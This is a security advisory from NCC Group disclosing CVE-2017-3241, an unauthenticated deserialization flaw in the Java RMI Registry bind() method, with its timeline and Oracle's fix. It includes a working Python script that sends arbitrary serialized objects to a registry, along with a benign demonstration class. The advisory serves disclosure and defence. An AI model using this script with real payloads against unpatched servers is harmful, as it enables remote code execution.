```
 _______  _________ _________     ________
 \      \ \_   ___ \\_   ___ \   /  _____/______  ____  __ ________
 /   |   \/    \  \//    \  \/  /   \  __\_  __ \/  _ \|  |  \____ \
/    |    \     \___\     \____ \    \_\  \  | \(  <_> )  |  /  |_> >
\____|__  /\______  /\______  /  \______  /__|   \____/|____/|   __/
        \/        \/        \/          \/                   |__|
```

https://www.nccgroup.trust/research/

~.

Vulnerability Summary

~.

Title	Java RMI Registry.bind() Unvalidated Deserialization
Reference	VT-87
Discoverer	Nick Bloor (@NickstaDB)
Vendor	Oracle
Vendor Reference	S0818584
Systems Affected	Java SE <= 6u131, <= 7u121, <= 8u112, Java SE Embedded <= 8u111, JRockit <= R28.3.12
CVE Reference	CVE-2017-3241
Risk	Critical
Status	Fixed

~.

Resolution Timeline

~.

Discovered	01 January 2017
Reported	11 January 2017
Fixed	19 January 2017

~.

Vulnerability Description

~.

Java Remote Method Invocation (RMI) allows objects of classes that implement the java.rmi.Remote interface to be exposed over a network allowing one application to call methods on an object that exists on a remote server. Objects are exposed for remote method invocation by binding them to a registry service using the bind() method of the java.rmi.registry.Registry interface.

The default java.rmi.registry.Registry implementation does not validate the class of the object that was passed to the bind() method before deserializing and instantiating the object. This means that any object can be passed to the registry for binding, even if the class of that object does not implement java.rmi.Remote, and hence can never be bound to the registry. This presents an open entry point for Java deserialization attacks whereby an attacker crafts objects in order to manipulate code that is automatically executed after the object has been deserialized. In many cases Java deserialization can enable arbitrary commands to be executed on the server. Such an attack against the default RMI Registry implementation does not require authentication.

Applications exposing objects through the default RMI Registry won't ever see the exploit payload and hence cannot easily put defensive measures in place in order to prevent the deserialization of arbitrary objects.

~.

Technical Details

~.

This issue can be demonstrated by binding a crafted object to an RMI registry. The following Python script can be used along with a specially crafted object in order to demonstrate this issue:

```
import socket
```

```
        import sys

        #Check args
        if len(sys.argv) != 4:
                print "Usage: RMIBindObject.py [host] [port] [payload-hex]"
                sys.exit();

        #Connect to target registry
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((sys.argv[1], int(sys.argv[2])))

        #RMI handshake
        s.send("\x4a\x52\x4d\x49\x00\x02\x4b")
        d = s.recv(1024)
        s.send("\x00\x07\x30\x2e\x30\x2e\x30\x2e\x30\x00\x00\x00\x00")

        #Strip serialization header (0xac ed 00 05) from payload
        payload = sys.argv[3]
        if payload.lower().startswith("aced0005"):
                payload = payload[8:]

        #Send payload in an RMI bind packet

s.send("\x50\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x44\x15\x4d\xc9\xd4
\xe6\x3b\xdf" + payload.decode("hex"))
        s.recv(2048)
        s.close()
```

A complete minimal proof of concept can be created by placing the following Java class on the classpath of the RMI registry service:

```
        package shared;

        import java.io.ObjectInputStream;
        import java.io.Serializable;

        public class PrintOnReadObject implements Serializable {
                private void readObject(ObjectInputStream ois) throws Exception
{
                        System.out.println("[+] PrintOnReadObject.readObject()
called...");
                }
        }
```

Note that the class does not implement java.rmi.Remote. It does, however, implement Serializable and provides a readObject() method, which is the entry point for Java deserialization attacks. This class can be serialized to give the following ASCII hex bytes:

aced00057372001873686172656642e5072696e744f6e526561644f626a65637426f59a38cb1d0bae
020000707870

Assuming this class is on the classpath of an RMI registry service that is listening at 10.10.10.10:1099, the Python script above can be called as shown below:

```
        RMIBindObject.py 10.10.10.10 1099
aced00057372001873686172656642e5072696e744f6e526561644f626a65637426f59a38cb1d0bae
020000707870
```

After executing this script, there will be a message printed to STDOUT on the server, demonstrating that the remote registry has deserialized an object despite that object not implementing the java.rmi.Remote interface.

~.
Fix Information

~.

It was recommended that Oracle implement look-ahead deserialization within the default RMI Registry implementation. By looking ahead at the class of the object passed to the bind() method Java can verify that the class is compatible with java.rmi.Remote and either bind the object or throw an exception accordingly.

Oracle implemented this recommendation in an update to Java which was released with their January 2017 Critical Patch Update. Details of the January 2017 Critical Patch Update and acknowledgement for the vulnerability report can be found at the following URL:

http://www.oracle.com/technetwork/security-advisory/cpujan2017-2881727.html

~.
NCC Group
~.

Research   https://www.nccgroup.trust/research
Twitter   https://www.twitter.com/NCCGroupInfoSec / @NCCGroupInfoSec
Open Source https://github.com/nccgroup
Blog   https://www.nccgroup.trust/en/blog/cyber-security/